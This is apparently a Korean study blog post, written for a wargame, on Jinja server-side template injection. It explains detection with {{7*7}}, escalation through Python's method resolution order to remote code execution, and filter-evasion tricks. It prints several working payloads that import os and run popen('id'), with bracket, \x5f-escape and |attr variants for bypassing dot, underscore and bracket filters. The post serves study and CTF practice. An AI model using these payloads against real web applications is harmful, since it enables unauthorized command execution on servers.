Jinja SSTI 관련 워게임을 접할 일이 생겨 문제를 해결하기 위해 작성한 글입니다.
SSTI (Server-Side Template Injection)
먼저 SSTI란 Server-Side Template Injection 으로 템플릿을 사용한
웹 어플리케이션을 구동할 때 적절하게 사용자의 입력이 필터링되지 않고
템플릿 구문 삽입이 가능할 때 발생하는 공격입니다.
이전에 Python MRO를 정리한 글이 있습니다.
https://skysquirrel.tistory.com/80?category=1045478
(Python) MRO - Method Resolution Order
본 글은 MOR이란 무엇인가 작성자가 학습하기 위해 자료를 검색해 정리한 글입니다. MRO이란? 파이썬은 기본적으로 상속을 지원하는 언어로써 다중상속을 지원하고 있습니다. 문제는 다중상속일
skysquirrel.tistory.com
python에서는 자동으로 MRO를 구성하거나 사용자가 우선순위를 정해주곤 합니다.
즉 템플릿을 사용하면 우선순위 하나하나를 열어보는 것이 가능하며 그것을 타고 타고
올라가서 RCE취약점으로 연결하는 것이 가능합니다.
취약점
먼저 여기서는 Jinja를 다룰거지만 어떠한 구조로 취약점을 파악하는가 부터 보겠습니다.
템플릿인 ${ } 나 {{ }} 등을 사용해 7*7같은 간단한 계산연산을 시도해 보았을때
어떠한 템플릿으로 실행했을때 49라는 계산연산이 나오는가 등을 확인해
SSTI 취약점이 존재여부와 어떤 템플릿을 사용했는가를 파악할 수 있습니다.
이전에 RCE취약점으로 연계시켜 공격이 가능하다고 했는데
RCE는 원격 코드 실행을 말하며 일반적으로는 os.system 같은 쉘 명령어의 결과 출력이
안되지만 파이썬처럼 MRO 구조를 활용해 Class를 찾아 함수를 실행시키면결과출력이 가능해집니다.
이러한 취약점이 바로 RCE취약점이며 SSTI와 연계해 공격하는 것입니다.
필터링 우회
쉘 명령어 실행같은 위험한 취약점이기에 여러 필터링이 존재하며 이를 우회하는 방법이 존재합니다.
기본적으로는 아래와 같은 구조를 사용하게 되는데
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
waf에서 도트(.)의 필터링이 추가되면 [ ]를 사용해 우회합니다.
{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}
여기에 도트(.)와 언더바(_)를 필터링 한다면 언더바(_)를 \x5f로 우회
{{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']()}}
도트(.) , 언더바(_), 대괄호([]) 및 "|join"이 필터링 된다면 아래와 같은 구조로
필터링을 우회하는 것이 가능합니다.
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
만약 특정키워드 admin, guest, import등이 필터링된다면 16진수인 hax로 우회하거나
oct, unicode를 활용해 우회하는 것 또한 가능합니다.
결론
SSTI의 개념을 정확히 알고 이해한다면 Jinja뿐아니라 다른 템플릿을 사용하는 경우에도
페이로드를 만드는데 무리가 없을 것으로 예상되며
최신 정보를 자주 접하는 것이 필요할것 같습니다.
Reference
'Reference > Web Hacking_Study' 카테고리의 다른 글
Redis DBMS 취약점과 공격기법 (0) | 2023.04.28 |
---|---|
웹 브라우저 엔진과 브라우저 엔진의 렌더링 과정 (0) | 2022.07.06 |